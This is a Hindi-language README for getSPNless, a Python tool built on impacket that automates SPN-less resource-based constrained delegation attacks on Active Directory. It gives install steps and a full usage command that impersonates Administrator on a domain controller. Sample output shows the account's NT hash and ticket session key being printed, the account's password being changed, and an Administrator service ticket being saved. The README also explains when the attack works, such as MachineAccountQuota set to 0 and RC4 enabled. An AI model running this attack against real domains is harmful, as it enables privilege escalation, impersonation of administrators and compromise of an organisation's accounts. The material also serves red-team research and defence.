
स्वचालित रूप से SPN-रहित RBCD हमले करने के लिए Python टूल।

केर्बरोस सेवा टिकट प्राप्त करने के लिए SPN-रहित तकनीक का उपयोग करने वाला Python टूल। सामान्य उपयोगकर्ता खाते का उपयोग करके RBCD का शोषण पर आधारित।
यह टूल impacket प्रोजेक्ट का उपयोग करता है।
ये उपकरण केवल Python 3.5+ के साथ संगत हैं। GitHub से रिपॉजिटरी क्लोन करें, निर्भरताएँ स्थापित करें और आप उपयोग के लिए तैयार हैं:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
virtualenv का उपयोग करने की अनुशंसा की जाती है।
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
वैकल्पिक रूप से, NT हैश का उपयोग किया जा सकता है। ध्यान दें कि NT हैश का उपयोग करते समय, पासवर्ड पुनर्प्राप्ति तभी संभव है जब उपयोगकर्ता खाते पर “पासवर्ड कभी समाप्त नहीं होता” फ़्लैग सेट हो।
यह टूल RBCD हमलों को करते समय मशीन खाते की आवश्यकता को दरकिनार करने की एक विधि प्रदान करता है। उपयोगकर्ता खाते के साथ RBCD करते समय वर्तमान समस्या यह है कि KDC को यह नहीं पता होता कि टिकट के लिए किस एन्क्रिप्शन कुंजी का उपयोग करना है। यह टूल केर्बरोस TGT का अनुरोध करके, टिकट सत्र कुंजी निकालकर और उपयोगकर्ता के NT हैश को संशोधित करके इस सीमा के आसपास काम करता है। S4U2Self+U2U और S4U2Proxy का उपयोग करके, सेवा टिकट प्राप्त करना अभी भी संभव है। मैं व्यक्तिगत रूप से SPN-रहित RBCD के बजाय मशीन खातों, या PKINIT/UnPAC-the-Hash के साथ छाया क्रेडेंशियल का उपयोग करना पसंद करूंगा। हालाँकि, यह एक अच्छा विकल्प है जब MachineAccountQuota 0 पर सेट हो और कोई ADCS उपलब्ध न हो या PKINIT अक्षम हो। ध्यान दें कि यदि RC4 केर्बरोस एन्क्रिप्शन प्रकार अक्षम है तो हमला काम नहीं करेगा। आप केर्बरोस प्रकार 23 (Etype 23) की जाँच करके इसकी पुष्टि कर सकते हैं।
यह प्रोजेक्ट आंशिक रूप से Cyber Cloud में अपने कार्य के दौरान और आंशिक रूप से अपने स्वयं के समय में विकसित किया गया था। इस कार्य को विकसित करने और शोध करने के लिए समय प्रदान करने के लिए Cyber Cloud का धन्यवाद।